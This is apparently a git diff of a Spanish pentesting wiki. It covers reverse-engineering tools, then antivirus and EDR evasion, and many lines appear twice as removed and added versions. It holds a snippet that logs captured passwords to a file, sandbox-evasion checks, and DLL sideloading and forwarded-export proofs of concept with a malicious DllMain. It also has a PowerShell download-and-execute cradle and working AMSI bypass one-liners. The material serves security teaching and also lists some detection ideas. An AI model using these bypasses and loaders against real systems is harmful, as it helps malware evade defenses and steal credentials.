- [ILSpy](https://github.com/icsharpcode/ILSpy), que también ofrece un [plugin para Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode), permitiendo su uso multiplataforma.
- Para tareas que involucran **decompilación**, **modificación** y **recompilación**, se recomienda encarecidamente [dnSpy](https://github.com/0xd4d/dnSpy/releases). **Hacer clic derecho** en un método y elegir **Modificar Método** permite cambios en el código.
- [dotPeek de JetBrains](https://www.jetbrains.com/es-es/decompiler/) es otra alternativa para decompilar ensamblados de .Net.
## Mejorando la Depuración y Registro con DNSpy
### Registro de DNSpy
Para registrar información en un archivo usando DNSpy, incorpora el siguiente fragmento de código .Net:
%%%cpp
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
File.AppendAllText(path, "Contraseña: " + password + "\n");
%%%
### Depuración de DNSpy
Para una depuración efectiva con DNSpy, se recomienda una secuencia de pasos para ajustar los **atributos de ensamblado** para la depuración, asegurando que las optimizaciones que podrían obstaculizar la depuración estén deshabilitadas. Este proceso incluye cambiar la configuración de `DebuggableAttribute`, recompilar el ensamblado y guardar los cambios.
Además, para depurar una aplicación .Net ejecutada por **IIS**, ejecutar `iisreset /noforce` reinicia IIS. Para adjuntar DNSpy al proceso de IIS para depuración, la guía instruye sobre seleccionar el proceso **w3wp.exe** dentro de DNSpy y comenzar la sesión de depuración.
Para una vista completa de los módulos cargados durante la depuración, se aconseja acceder a la ventana de **Módulos** en DNSpy, seguida de abrir todos los módulos y ordenar los ensamblados para facilitar la navegación y depuración.
Esta guía encapsula la esencia de la decompilación de WebAssembly y .Net, ofreciendo un camino para que los desarrolladores naveguen estas tareas con facilidad.
## **Decompilador de Java**
Para decompilar bytecode de Java, estas herramientas pueden ser muy útiles:
- [jadx](https://github.com/skylot/jadx)
- [JD-GUI](https://github.com/java-decompiler/jd-gui/releases)
## **Depuración de DLLs**
### Usando IDA
- **Rundll32** se carga desde rutas específicas para versiones de 64 bits y 32 bits.
- **Windbg** se selecciona como el depurador con la opción de suspender en la carga/descarga de bibliotecas habilitada.
- Los parámetros de ejecución incluyen la ruta de la DLL y el nombre de la función. Esta configuración detiene la ejecución al cargar cada DLL.
### Usando x64dbg/x32dbg
- Similar a IDA, **rundll32** se carga con modificaciones en la línea de comandos para especificar la DLL y la función.
- Se ajustan las configuraciones para romper en la entrada de la DLL, permitiendo establecer un punto de interrupción en el punto de entrada deseado de la DLL.
### Imágenes
- Los puntos de detención de ejecución y configuraciones se ilustran a través de capturas de pantalla.
## **ARM & MIPS**
- Para emulación, [arm_now](https://github.com/nongiach/arm_now) es un recurso útil.
## **Shellcodes**
### Técnicas de Depuración
- **Blobrunner** y **jmp2it** son herramientas para asignar shellcodes en memoria y depurarlos con Ida o x64dbg.
- Blobrunner [versiones](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)
- jmp2it [versión compilada](https://github.com/adamkramer/jmp2it/releases/)
- **Cutter** ofrece emulación e inspección de shellcode basada en GUI, destacando las diferencias en el manejo de shellcode como un archivo frente a shellcode directo.
### Deofuscación y Análisis
- **scdbg** proporciona información sobre funciones de shellcode y capacidades de deofuscación.
%%%bash
scdbg.exe -f shellcode # Información básica
scdbg.exe -f shellcode -r # Informe de análisis
scdbg.exe -f shellcode -i -r # Hooks interactivos
scdbg.exe -f shellcode -d # Volcar shellcode decodificado
scdbg.exe -f shellcode /findsc # Encontrar desplazamiento de inicio
scdbg.exe -f shellcode /foff 0x0000004D # Ejecutar desde el desplazamiento
%%%
- **CyberChef** para desensamblar shellcode: [receta de CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Hex%28'Space',0%29Disassemble_x86%28'32','Full%20x86%20architecture',16,0,true,true%29)
## **Movfuscator**
- Un ofuscador que reemplaza todas las instrucciones con `mov`.
- Recursos útiles incluyen una [explicación en YouTube](https://www.youtube.com/watch?v=2VF_wPkiBJY) y [diapositivas en PDF](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf).
- **demovfuscator** podría revertir la ofuscación de movfuscator, requiriendo dependencias como `libcapstone-dev` y `libz3-dev`, e instalando [keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md).
## **Delphi**
- Para binarios de Delphi, se recomienda [IDR](https://github.com/crypto2011/IDR).
# Cursos
- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering)
- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Deofuscación binaria\)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -7,89 +7,89 @@
## Detener Defender
- [defendnot](https://github.com/es3n1n/defendnot): Una herramienta para detener Windows Defender.
- [no-defender](https://github.com/es3n1n/no-defender): Una herramienta para detener Windows Defender simulando otro AV.
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
- [no-defender](https://github.com/es3n1n/no-defender): Una herramienta para detener Windows Defender falsificando otro AV.
- [Desactivar Defender si eres admin](basic-powershell-for-pentesters/README.md)
## **AV Evasion Methodology**
Actualmente, los AVs usan diferentes métodos para comprobar si un archivo es malicioso o no: static detection, dynamic analysis, y, para los EDRs más avanzados, behavioural analysis.
Actualmente, los AVs usan diferentes métodos para comprobar si un archivo es malicioso o no: static detection, dynamic analysis, y para los EDRs más avanzados, behavioural analysis.
### **Static detection**
Static detection se logra marcando cadenas conocidas maliciosas o arrays de bytes en un binario o script, y también extrayendo información del propio archivo (p. ej. file description, company name, digital signatures, icon, checksum, etc.). Esto significa que usar herramientas públicas conocidas puede hacer que te detecten más fácilmente, ya que probablemente ya hayan sido analizadas y marcadas como maliciosas. Hay un par de maneras de evitar este tipo de detección:
La static detection se logra marcando cadenas conocidas maliciosas o arrays de bytes en un binario o script, y también extrayendo información del propio archivo (por ejemplo, file description, company name, digital signatures, icon, checksum, etc.). Esto significa que usar herramientas públicas conocidas puede hacer que te detecten más fácilmente, ya que probablemente ya fueron analizadas y marcadas como maliciosas. Hay un par de formas de sortear este tipo de detección:
- **Encryption**
- **Cifrado**
Si cifras el binario, no habrá forma de que el AV detecte tu programa, pero necesitarás algún tipo de loader para descifrarlo y ejecutar el programa en memoria.
Si encriptas el binario, no habrá forma para que el AV detecte tu programa, pero necesitarás algún tipo de loader para desencriptar y ejecutar el programa en memoria.
- **Obfuscation**
- **Ofuscación**
A veces todo lo que necesitas es cambiar algunas cadenas en tu binario o script para pasar el AV, pero esto puede ser una tarea que consume tiempo dependiendo de lo que intentes ofuscar.
A veces todo lo que necesitas es cambiar algunas cadenas en tu binario o script para pasar el AV, pero esto puede ser una tarea que consume tiempo dependiendo de lo que estés intentando ofuscar.
- **Custom tooling**
- **Herramientas personalizadas**
Si desarrollas tus propias herramientas, no habrá firmas maliciosas conocidas, pero esto requiere mucho tiempo y esfuerzo.
Si desarrollas tus propias herramientas, no habrá firmas malas conocidas, pero esto toma mucho tiempo y esfuerzo.
> [!TIP]
> A good way for checking against Windows Defender static detection is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary.
> Una buena forma para comprobar la detección estática de Windows Defender es [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Básicamente divide el archivo en múltiples segmentos y luego pide a Defender que escanee cada uno individualmente; de esta forma puede decirte exactamente qué cadenas o bytes están siendo marcados en tu binario.
Te recomiendo encarecidamente que revises esta [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sobre AV Evasion práctica.
Te recomiendo revisar esta [lista de reproducción de YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sobre AV Evasion práctica.
### **Dynamic analysis**
Dynamic analysis es cuando el AV ejecuta tu binario en un sandbox y vigila la actividad maliciosa (p. ej., intentar descifrar y leer las contraseñas del navegador, realizar un minidump en LSASS, etc.). Esta parte puede ser un poco más complicada, pero aquí tienes algunas cosas que puedes hacer para evadir sandboxes.
La dynamic analysis es cuando el AV ejecuta tu binario en una sandbox y observa actividad maliciosa (por ejemplo, intentar desencriptar y leer las contraseñas del navegador, realizar un minidump de LSASS, etc.). Esta parte puede ser un poco más complicada de afrontar, pero aquí hay algunas cosas que puedes hacer para evadir sandboxes.
- **Sleep before execution** Dependiendo de cómo esté implementado, puede ser una gran forma de bypass del dynamic analysis de los AV. Los AVs tienen muy poco tiempo para escanear archivos para no interrumpir el flujo de trabajo del usuario, así que usar sleeps largos puede entorpecer el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente saltarse el sleep dependiendo de cómo esté implementado.
- **Checking machine's resources** Usualmente los Sandboxes tienen muy pocos recursos (p. ej. < 2GB RAM), de lo contrario podrían ralentizar la máquina del usuario. También puedes ser creativo aquí, por ejemplo comprobando la temperatura del CPU o incluso las velocidades del ventilador; no todo estará implementado en el sandbox.
- **Machine-specific checks** Si quieres apuntar a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes comprobar el dominio del equipo para ver si coincide con el especificado; si no coincide, puedes hacer que tu programa salga.
- **Dormir antes de la ejecución** Dependiendo de cómo esté implementado, puede ser una gran forma de bypass de la dynamic analysis del AV. Los AVs tienen un tiempo muy corto para escanear archivos y no interrumpir el flujo de trabajo del usuario, así que usar sleeps largos puede distorsionar el análisis de los binarios. El problema es que muchas sandboxes de AVs pueden simplemente saltarse el sleep según cómo esté implementado.
- **Comprobar los recursos de la máquina** Normalmente las Sandboxes tienen muy pocos recursos para trabajar (por ejemplo, < 2GB RAM), de otro modo podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo comprobando la temperatura de la CPU o incluso las velocidades del ventilador; no todo estará implementado en la sandbox.
- **Comprobaciones específicas de la máquina** Si quieres apuntar a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes comprobar el dominio del equipo para ver si coincide con el que has especificado; si no coincide, puedes hacer que tu programa termine.
Resulta que el computername del Sandbox de Microsoft Defender es HAL9TH, así que puedes comprobar el nombre del equipo en tu malware antes de la detonación; si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de Defender, por lo que puedes hacer que tu programa salga.
Resulta que el nombre del equipo de la Sandbox de Microsoft Defender es HAL9TH, así que puedes comprobar el nombre del equipo en tu malware antes de la detonación; si el nombre coincide con HAL9TH, significa que estás dentro de la sandbox de Defender, por lo que puedes hacer que tu programa termine.
<figure><img src="../images/image (209).png" alt=""><figcaption><p>fuente: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Algunos otros consejos muy buenos de [@mgeeky](https://twitter.com/mariuszbit) para enfrentarse a los Sandboxes
Algunos otros muy buenos consejos de [@mgeeky](https://twitter.com/mariuszbit) para enfrentarse a Sandboxes
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canal #malware-dev</p></figcaption></figure>
Como hemos dicho antes en este post, las **herramientas públicas** eventualmente **serán detectadas**, así que deberías hacerte una pregunta:
Como hemos dicho antes en este post, **las herramientas públicas** eventualmente **serán detectadas**, así que deberías hacerte una pregunta:
Por ejemplo, si quieres dump LSASS, **¿realmente necesitas usar mimikatz**? ¿O podrías usar otro proyecto menos conocido que también haga el dump de LSASS?
Por ejemplo, si quieres volcar LSASS, **¿realmente necesitas usar mimikatz**? ¿O podrías usar otro proyecto menos conocido que también vuelque LSASS?
La respuesta correcta probablemente sea la segunda. Tomando mimikatz como ejemplo, es probablemente uno de, si no el más, marcado por AVs y EDRs; aunque el proyecto en sí es genial, también es una pesadilla trabajar con él para evadir AVs, así que busca alternativas para lo que intentas lograr.
La respuesta correcta probablemente sea la última. Tomando mimikatz como ejemplo, probablemente sea una de, si no la más, pieza marcada por AVs y EDRs; aunque el proyecto en sí es muy bueno, también es una pesadilla trabajar con él para evadir AVs, así que simplemente busca alternativas para lo que intentas conseguir.
> [!TIP]
> Al modificar tus payloads para evasión, asegúrate de **desactivar el envío automático de muestras** en Defender, y por favor, seriamente, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr evasión a largo plazo. Si quieres comprobar si tu payload es detectado por un AV en particular, instálalo en una VM, intenta desactivar el envío automático de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
> Cuando modifiques tus payloads para evadir, asegúrate de **desactivar el envío automático de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr evasión a largo plazo. Si quieres comprobar si tu payload es detectado por un AV en particular, instálalo en una VM, intenta desactivar el envío automático de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
## EXEs vs DLLs
Siempre que sea posible, **prioriza usar DLLs para evasión**; en mi experiencia, los archivos DLL suelen ser **mucho menos detectados** y analizados, así que es un truco muy simple para evitar detección en algunos casos (si tu payload tiene alguna forma de ejecutarse como una DLL, por supuesto).
Siempre que sea posible, **prioriza usar DLLs para evasión**, en mi experiencia, los archivos DLL suelen ser **mucho menos detectados** y analizados, así que es un truco muy simple para evitar detección en algunos casos (si tu payload tiene alguna forma de ejecutarse como DLL, claro).
Como se puede ver en esta imagen, un DLL Payload de Havoc tiene una tasa de detección de 4/26 en antiscan.me, mientras que el EXE payload tiene una tasa de detección de 7/26.
Como podemos ver en esta imagen, un DLL Payload de Havoc tiene una tasa de detección de 4/26 en antiscan.me, mientras que el payload EXE tiene una tasa de detección de 7/26.
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>comparación en antiscan.me de un payload EXE normal de Havoc vs un DLL normal de Havoc</p></figcaption></figure>
Ahora mostraremos algunos trucos que puedes usar con archivos DLL para ser mucho más sigiloso.
## DLL Sideloading & Proxying
**DLL Sideloading** aprovecha el orden de búsqueda de DLL usado por el loader posicionando tanto la aplicación víctima como el/los payload(s) maliciosos uno junto al otro.
**DLL Sideloading** aprovecha el orden de búsqueda de DLLs usado por el loader posicionando tanto la aplicación víctima como el/los payload(s) maliciosos uno al lado del otro.
Puedes buscar programas susceptibles a DLL Sideloading usando [Siofra](https://github.com/Cybereason/siofra) y el siguiente powershell script:
Puedes comprobar programas susceptibles a DLL Sideloading usando [Siofra](https://github.com/Cybereason/siofra) y el siguiente script de powershell:
```bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
Este comando mostrará la lista de programas susceptibles a DLL hijacking dentro de "C:\Program Files\\" y los archivos DLL que intentan cargar.
Este comando mostrará la lista de programas susceptibles de DLL hijacking dentro de "C:\Program Files\\" y los archivos DLL que intentan cargar.
Te recomiendo encarecidamente que **explore DLL Hijackable/Sideloadable programs yourself**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas DLL Sideloadable públicamente conocidos, podrías ser descubierto fácilmente.
Te recomiendo encarecidamente que **explores DLL Hijackable/Sideloadable programs por ti mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas DLL Sideloadable conocidos públicamente, podrías ser detectado fácilmente.
El simple hecho de colocar un malicious DLL con el nombre que un programa espera cargar no hará que se ejecute tu payload, ya que el programa espera funciones específicas dentro de ese DLL; para solucionar esto, usaremos otra técnica llamada **DLL Proxying/Forwarding**.
El hecho de colocar una DLL maliciosa con el nombre que un programa espera cargar no hará que cargue tu payload, ya que el programa espera funciones específicas dentro de esa DLL; para solucionar este problema, usaremos otra técnica llamada **DLL Proxying/Forwarding**.
**DLL Proxying** reenvía las llamadas que hace un programa desde el proxy (and malicious) DLL al DLL original, preservando así la funcionalidad del programa y permitiendo manejar la ejecución de tu payload.
**DLL Proxying** reenvía las llamadas que el programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y permitiendo gestionar la ejecución de tu payload.
Usaré el proyecto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
Voy a usar el proyecto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
Estos son los pasos que seguí:
```
@ -98,35 +98,33 @@ Estos son los pasos que seguí:
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
El último comando nos dará 2 archivos: una plantilla de código fuente DLL y la DLL original renombrada.
El último comando nos dará 2 archivos: una plantilla de código fuente de DLL, y la DLL original renombrada.
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
```
These are the results:
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como el proxy DLL tienen una tasa de detección 0/26 en [antiscan.me](https://antiscan.me)! Lo llamaría un éxito.
Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como el proxy DLL tienen una 0/26 Detection rate en [antiscan.me](https://antiscan.me)! Lo llamaría un éxito.
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Te **recomiendo encarecidamente** ver [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también el video de [ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) para profundizar en lo que hemos discutido.
> Yo **recomiendo encarecidamente** que veas [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender más sobre lo que hemos discutido con mayor profundidad.
### Abuso de Forwarded Exports (ForwardSideLoading)
### Abusing Forwarded Exports (ForwardSideLoading)
Los módulos Windows PE pueden exportar funciones que en realidad son "forwarders": en lugar de apuntar a código, la entrada de exportación contiene una cadena ASCII de la forma `TargetDll.TargetFunc`. Cuando un llamador resuelve la exportación, el cargador de Windows hará:
Los módulos PE de Windows pueden exportar funciones que en realidad son "forwarders": en lugar de apuntar a código, la entrada de exportación contiene una cadena ASCII de la forma `TargetDll.TargetFunc`. Cuando un llamador resuelve la exportación, el cargador de Windows hará:
- Cargará `TargetDll` si no está ya cargado
- Resolverá `TargetFunc` desde él
- Cargar `TargetDll` si no está ya cargado
- Resolver `TargetFunc` desde él
Comportamientos clave a tener en cuenta:
Comportamientos clave a entender:
- Si `TargetDll` es un KnownDLL, se suministra desde el espacio de nombres protegido KnownDLLs (p. ej., ntdll, kernelbase, ole32).
- Si `TargetDll` no es un KnownDLL, se usa el orden normal de búsqueda de DLLs, que incluye el directorio del módulo que está realizando la resolución del forward.
- Si `TargetDll` no es un KnownDLL, se utiliza el orden normal de búsqueda de DLLs, que incluye el directorio del módulo que está realizando la resolución del forward.
Esto habilita una primitiva de sideloading indirecto: encuentra un DLL firmado que exporte una función reenviada a un nombre de módulo que no sea KnownDLL, y coloca junto a ese DLL firmado un DLL controlado por el atacante con exactamente el mismo nombre que el módulo objetivo reenviado. Cuando se invoca la exportación reenviada, el cargador resuelve el forward y carga tu DLL desde el mismo directorio, ejecutando tu DllMain.
Esto permite una primitiva de sideloading indirecta: encuentra un DLL firmado que exporte una función reenviada a un nombre de módulo que no sea KnownDLL, luego coloca ese DLL firmado junto a un DLL controlado por el atacante con el nombre exactamente igual al módulo objetivo reenviado. Cuando se invoca la exportación reenviada, el cargador resuelve el forward y carga tu DLL desde el mismo directorio, ejecutando tu DllMain.
Ejemplo observado en Windows 11:
```
@ -135,11 +133,11 @@ keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
`NCRYPTPROV.dll` no es un KnownDLL, por lo que se resuelve mediante el orden de búsqueda normal.
PoC (copy-paste):
1) Copiar la DLL del sistema firmada en una carpeta escribible
1) Copiar la DLL del sistema firmada a una carpeta con permisos de escritura
```
copy C:\Windows\System32\keyiso.dll C:\test\
```
2) Coloca un `NCRYPTPROV.dll` malicioso en la misma carpeta. Un DllMain mínimo es suficiente para obtener ejecución de código; no necesitas implementar la función reenviada para activar DllMain.
2) Coloca un `NCRYPTPROV.dll` malicioso en la misma carpeta. Un DllMain mínimo es suficiente para obtener ejecución de código; no necesitas implementar la función reenviada para desencadenar DllMain.
```c
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
@ -151,29 +149,29 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
return TRUE;
}
```
3) Disparar el reenvío con un LOLBin firmado:
3) Activar el reenvío con un LOLBin firmado:
```
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
```
Comportamiento observado:
- rundll32 (firmado) carga la side-by-side `keyiso.dll` (firmada)
- Mientras resuelve `KeyIsoSetAuditingInterface`, el cargador sigue el forward a `NCRYPTPROV.SetAuditingInterface`
- Luego el cargador carga `NCRYPTPROV.dll` desde `C:\test` y ejecuta su `DllMain`
- Si `SetAuditingInterface` no está implementada, obtendrás un error de "missing API" solo después de que `DllMain` ya se haya ejecutado
- rundll32 (firmado) carga la side-by-side `keyiso.dll` (firmado)
- Mientras resuelve `KeyIsoSetAuditingInterface`, el loader sigue el forward a `NCRYPTPROV.SetAuditingInterface`
- El loader entonces carga `NCRYPTPROV.dll` desde `C:\test` y ejecuta su `DllMain`
- Si `SetAuditingInterface` no está implementado, obtendrás un error "missing API" solo después de que `DllMain` ya se haya ejecutado
Consejos de búsqueda:
- Enfócate en forwarded exports donde el módulo objetivo no es un KnownDLL. KnownDLLs están listados bajo `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Puedes enumerar forwarded exports con herramientas como:
Hunting tips:
- Focus on forwarded exports donde el módulo objetivo no es un KnownDLL. KnownDLLs están listados bajo `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs`.
- Puedes enumerar forwarded exports con tooling such as:
```
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
```
- Consulta el inventario de forwarders de Windows 11 para buscar candidatos: https://hexacorn.com/d/apis_fwd.txt
Ideas de detección/defensa:
- Monitor LOLBins (p. ej., rundll32.exe) cargando DLLs firmadas desde rutas no del sistema, seguidas de la carga de non-KnownDLLs con el mismo nombre base desde ese directorio
- Alertar sobre cadenas de procesos/módulos como: `rundll32.exe` → non-system `keyiso.dll``NCRYPTPROV.dll` en rutas escribibles por el usuario
- Aplicar políticas de integridad de código (WDAC/AppLocker) y denegar write+execute en los directorios de aplicaciones
Detection/defense ideas:
- Monitor LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory
- Alert on process/module chains like: `rundll32.exe` → non-system `keyiso.dll``NCRYPTPROV.dll` under user-writable paths
- Enforce code integrity policies (WDAC/AppLocker) and deny write+execute in application directories
## [**Freeze**](https://github.com/optiv/Freeze)
@ -189,53 +187,53 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
> [!TIP]
> La evasión es solo un juego del gato y el ratón; lo que funciona hoy podría detectarse mañana, así que nunca confíes en una sola herramienta; si es posible, intenta encadenar múltiples técnicas de evasión.
> La evasión es un juego de gato y ratón: lo que funciona hoy puede detectarse mañana, así que no confíes en una sola herramienta; si es posible, intenta encadenar múltiples técnicas de evasión.
## AMSI (Anti-Malware Scan Interface)
AMSI fue creado para prevenir "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, los AVs solo eran capaces de escanear **archivos en disco**, así que si de alguna manera podías ejecutar payloads **directamente in-memory**, el AV no podía hacer nada para evitarlo, ya que no tenía suficiente visibilidad.
AMSI was created to prevent "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Initially, AVs were only capable of scanning **files on disk**, so if you could somehow execute payloads **directly in-memory**, the AV couldn't do anything to prevent it, as it didn't have enough visibility.
La funcionalidad AMSI está integrada en estos componentes de Windows.
The AMSI feature is integrated into these components of Windows.
- User Account Control, or UAC (elevación de EXE, COM, MSI, o instalación de ActiveX)
- PowerShell (scripts, uso interactivo y evaluación dinámica de código)
- Windows Script Host (wscript.exe y cscript.exe)
- JavaScript y VBScript
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
- PowerShell (scripts, interactive use, and dynamic code evaluation)
- Windows Script Host (wscript.exe and cscript.exe)
- JavaScript and VBScript
- Office VBA macros
Permite que las soluciones antivirus inspeccionen el comportamiento de scripts exponiendo el contenido del script en una forma que no está cifrada ni ofuscada.
It allows antivirus solutions to inspect script behavior by exposing script contents in a form that is both unencrypted and unobfuscated.
Ejecutar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` producirá la siguiente alerta en Windows Defender.
Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender.
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
Fíjate cómo antepone `amsi:` y luego la ruta al ejecutable desde el que se ejecutó el script; en este caso, powershell.exe
Notice how it prepends `amsi:` and then the path to the executable from which the script ran, in this case, powershell.exe
No dejamos ningún archivo en disco, pero aún así nos detectaron in-memory debido a AMSI.
We didn't drop any file to disk, but still got caught in-memory because of AMSI.
Además, a partir de **.NET 4.8**, el código C# también pasa por AMSI. Esto incluso afecta a `Assembly.Load(byte[])` para la ejecución in-memory. Por eso se recomienda usar versiones más antiguas de .NET (como 4.7.2 o inferiores) para ejecución in-memory si quieres evadir AMSI.
Moreover, starting with **.NET 4.8**, C# code is run through AMSI as well. This even affects `Assembly.Load(byte[])` to load in-memory execution. Thats why using lower versions of .NET (like 4.7.2 or below) is recommended for in-memory execution if you want to evade AMSI.
Hay un par de maneras de evitar AMSI:
There are a couple of ways to get around AMSI:
- **Obfuscation**
Dado que AMSI funciona principalmente con detecciones estáticas, modificar los scripts que intentas cargar puede ser una buena forma de evadir la detección.
Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tienen múltiples capas, por lo que la obfuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan directo evadirlo. Aunque, a veces, todo lo que necesitas hacer es cambiar un par de nombres de variables y ya estarás bien, así que depende de cuánto haya sido marcado algo.
Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tienen múltiples capas, por lo que obfuscation podría ser una mala opción dependiendo de cómo se haga. Esto la hace menos directa de evadir. Aunque, a veces, todo lo que necesitas es cambiar un par de nombres de variables y estarás bien, así que depende de cuánto haya sido marcado.
- **AMSI Bypass**
Puesto que AMSI se implementa cargando una DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularla fácilmente incluso ejecutando como un usuario sin privilegios. Debido a este fallo en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
Dado que AMSI se implementa cargando un DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso ejecutando como un usuario sin privilegios. Debido a esta falla en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
**Forcing an Error**
Forzar que la inicialización de AMSI falle (amsiInitFailed) hará que no se inicie ningún escaneo para el proceso actual. Originalmente esto fue divulgado por [Matt Graeber](https://twitter.com/mattifestation) y Microsoft ha desarrollado una firma para prevenir un uso más amplio.
Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for the current process. Originally this was disclosed by [Matt Graeber](https://twitter.com/mattifestation) and Microsoft has developed a signature to prevent wider usage.
```bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
Todo lo que hizo falta fue una línea de código de powershell para dejar AMSI inservible para el proceso actual de powershell. Esta línea, por supuesto, ha sido marcada por AMSI, así que se necesita alguna modificación para poder usar esta técnica.
Bastó una sola línea de código de powershell para dejar AMSI inutilizable en el proceso de powershell actual. Esta línea, por supuesto, ha sido señalada por AMSI, por lo que se necesita una modificación para poder usar esta técnica.
Aquí hay un bypass de AMSI modificado que tomé de este [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
Aquí tienes un AMSI bypass modificado que tomé de este [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
@ -249,78 +247,78 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Tenga en cuenta que esto probablemente será detectado una vez que se publique este post, por lo que no debería publicar ningún código si su plan es permanecer sin ser detectado.
Ten en cuenta que esto probablemente será detectado una vez que se publique esta publicación, así que no deberías publicar ningún código si tu plan es permanecer sin ser detectado.
**Memory Patching**
